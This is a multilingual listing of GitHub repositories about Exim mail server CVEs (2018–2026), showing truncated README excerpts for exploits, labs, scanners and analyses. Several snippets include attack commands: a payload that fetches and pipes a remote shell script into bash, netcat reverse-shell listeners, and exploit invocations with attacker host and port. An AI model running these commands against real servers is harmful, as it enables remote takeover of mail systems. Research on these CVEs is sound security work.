nmap-nse-vulnerability-scripts

NMAP 취약점 스캐닝 스크립트 저렴한 탐지와 수정을 지원하는 nmap 취약점 스캐닝 스크립트 모음입니다. 배경 이 스크립트들은 Nmap Scripting EngineNSE을 사용하여 다양한 취약점에 대한 검사를 구현합니다. 참고 자료: https://nmap.org/book/man-nse.html https://nmap.org/nsedoc/index.html 스크립트 21Nails라고도 알려진 Exim 메일서버 CVE-2020-28017 CVE-2020-28026 스크립트:...

POC_CVE-2026-45185

CVE-2026-45185 Лаборатория проверки шаблонов Nuclei Этот репозиторий не является общецелевым PoC-репозиторием эксплойтов. Это локальная лаборатория проверки для воспроизведения и анализа поведения шаблона CVE-2026-45185, предназначенного для включения в projectdiscovery/nuclei-templates. Шаблон...

Exim-CVE-2019-10149

Exim-CVE-2019-10149 취약점 CVE-2019-10149 악용을 위한 PoC 사용 예시 python3 PoC.py --rhost 192.168.1.100 --lhost 10.10.10.10 --lport 4444 --payload '/bin/sh -c wget http://10.10.10.10:8000/shell.sh -O - | bash'...

exim-rce-quickfix

이 저장소에는 README가 없습니다...

CVE-2019-10149-Exim4-RCE

Cr.Exim 4.87 - 4.91 - 로컬 권한 상승 Cr.Link: https://www.exploit-db.com/exploits/46996 1.이 방법은 먼저 표준 사용자 권한으로 대상 머신에 접근해야 합니다. 2.대상 머신에 접근한 후, 다음 내용으로 스크립트 파일을 생성합니다: vi raptor.sh 3.제공된 'raptor.sh' 파일에서 코드를 복사합니다. 그런 다음 아래 명령으로 파일을 실행합니다: chmod +x raptor.sh ./raptor.sh 4.아래 예시와 유사한 출력이 표시됩니다: Preparin...

PoC_CVE-2019-10149--rce

概要 脆弱なeximサービスからシェルへのリモートコマンド実行。 脆弱なバージョンは4.87から4.91（両端を含む）です。https://nvd.nist.gov/vuln/detail/cve-2019-10149 を確認してください。 以下のスクリプトはQualysのPoCに基づいています。https://packetstormsecurity.com/files/153218/Exim-4.9.1-Remote-Command-Execution.html を確認してください。 例 2つのターミナルを推奨 T1 $ nc -nlvp 1337 T2 $ bash exploit....

CVE-2018-6789

CVE-2018-6789 Настройка окружения Установка зависимостей apt-get install gcc net-tools vim gdb python wget git make procps libpcre3-dev libdb-dev libxt-dev libxaw7-dev Скачать старую версию exim wget ftp://mirror.easyname.at/exim-ftp/exim/exim4/old/exim-4.89.tar.gz tar -xvzf ./exim-4.89.tar.gz cd...

exim.exp

Простой эксплойт для уязвимости в exim 4.87 - 4.91 включительно...

exim-cve-2019-10149-data

Сбор данных об уязвимостях Exim CVE Сбор данных, связанных с уязвимостями Exim CVE-2019-10149, CVE-2019-15846, CVE-2019-16928 Объявление CVE: https://vulners.com/cve/CVE-2019-10149 Детали эксплойта: https://www.exploit-db.com/exploits/46974 Хронология проблемы:...

CVE-2020-28018

CVE-2020-28018: Use-after-free UAF в Exim, приводящий к RCE Введение Существует уязвимость Use-after-free UAF в tls-openssl.c, которая позволяет удаленным неаутентифицированным злоумышленникам повредить внутренние данные памяти, что в конечном итоге приводит к удаленному выполнению кода. Примитив...

eximrce-CVE-2019-10149

eximrce CVE-2019-10149에 대해 exim이 취약한지 테스트하는 간단한 파이썬 소켓 연결입니다. 페이로드는 단순히 /root/lweximtest 파일을 터치합니다. 서버의 응답과 파이썬 소켓 모듈을 제대로 사용하는 방법을 몰라 출력이 느립니다. 속도를 높이는 방법을 배우고 싶습니다. cPanel 상자에서만 테스트했습니다. 의심 서버에서 로컬로 실행합니다. 이는 손상 징후를 확인합니다. curl -s...

CVE-2019-10149

CVE-2019-10149 - Exim 4.87 Local/Makefile cp eximmonitor/EDITME Local/eximon.conf Создайте пользователя и группу exim sudo groupadd -g 31 exim sudo useradd -d /dev/null -c "Exim Daemon" -g exim -s /bin/false -u 31 exim Установите зависимости sudo apt-get update sudo apt-get install -y make...

exim-vuln-poc

CVE-2018-6789...

CVE-2026-45185

CVE-2026-45185 — Dead.Letter: Exim 힙 UAF에서 원격 루트 권한 탈취까지 CVSS 9.8 치명적Critical | Exim 4.97–4.99.2 | Ubuntu / GnuTLS 빌드 | 인증 불필요 GDB 트레이스, 단계별 분석, 전 세계 노출 데이터를 포함한 전체 분석 문서: https://0init.github.io/cve-2026-45185-dead-letter-exim-rce.html 이 취약점이란 Exim이 BDAT 본문 전송 중일 때 TLS closenotify 경보를 보내면...

CVE-2025-26794-exploit

CVE-2025-26794: Exim ETRN SQL 인젝션 익스플로잇 CVE-2025-26794에 대한 개념 증명PoC 익스플로잇 도구로, SQLite DBM 스토리지를 사용할 때 ETRN 명령을 통해 Exim 4.98 메일 서버의 SQL 인젝션 취약점을 시연합니다. ⚠️ 법적 고지 승인된 보안 테스트 전용 이 도구는 교육 목적 및 승인된 침투 테스트용으로만 제공됩니다. 컴퓨터 시스템에 대한 무단 접근은 다음을 포함한 다양한 법률에 따라 불법입니다: 미국의 컴퓨터 사기 및 남용 법안CFAA 영국의 컴퓨터 남용 법안Compute...

EXIM-4.87-CVE-2019-10149

EXIM-4.87-CVE-2019-10149 лаборатория для учебных целей...

CVE-2025-26794-Exim-Mail-SQLi

В этом репозитории нет README...

CVE-2023-42115

CVE-2023-42115 Уязвимость удаленного выполнения кода Exim AUTH Out-Of-Bounds Write. Эта уязвимость позволяет удаленным злоумышленникам выполнять произвольный код на затронутых установках Exim. Для эксплуатации этой уязвимости аутентификация не требуется. Сборка git clone...

CVE-2019-10149

CVE-2019-10149 CVE-2019-10149 : Exim 4.874.91포함 버전에서 결함이 발견되었습니다. /src/deliver.c의 delivermessage 함수에서 수신자 주소를 잘못 검증하면 원격 명령 실행으로 이어질 수 있습니다. 예제 nc -lvp 9000 python ./CVE-2019-10149/exploit.py --rhost example.com --rport 25 --lhost 10.10.10.100 --lport 9000...

Exim-CVE-2019-15846

Exim CVE-2019-15846 CVE-2019-15846을 악용하기 위한 PoC 자료입니다. PoC를 설명하는 블로그 게시물은 다음 링크에서 확인할 수 있습니다: Synacktiv Blog. 이 PoC는 exim에서 힙 오버플로를 악용하는 데 사용되는 스풀 파일을 생성하는 데 도움이 됩니다. 두 개의 예제 스풀 파일은 1i7Jgy-0002dD-Pb-D 및 1i7Jgy-0002dD-Pb-H에 제공됩니다. 특수하게 제작된 스풀 헤더 파일은 exgen.py로 생성할 수 있습니다...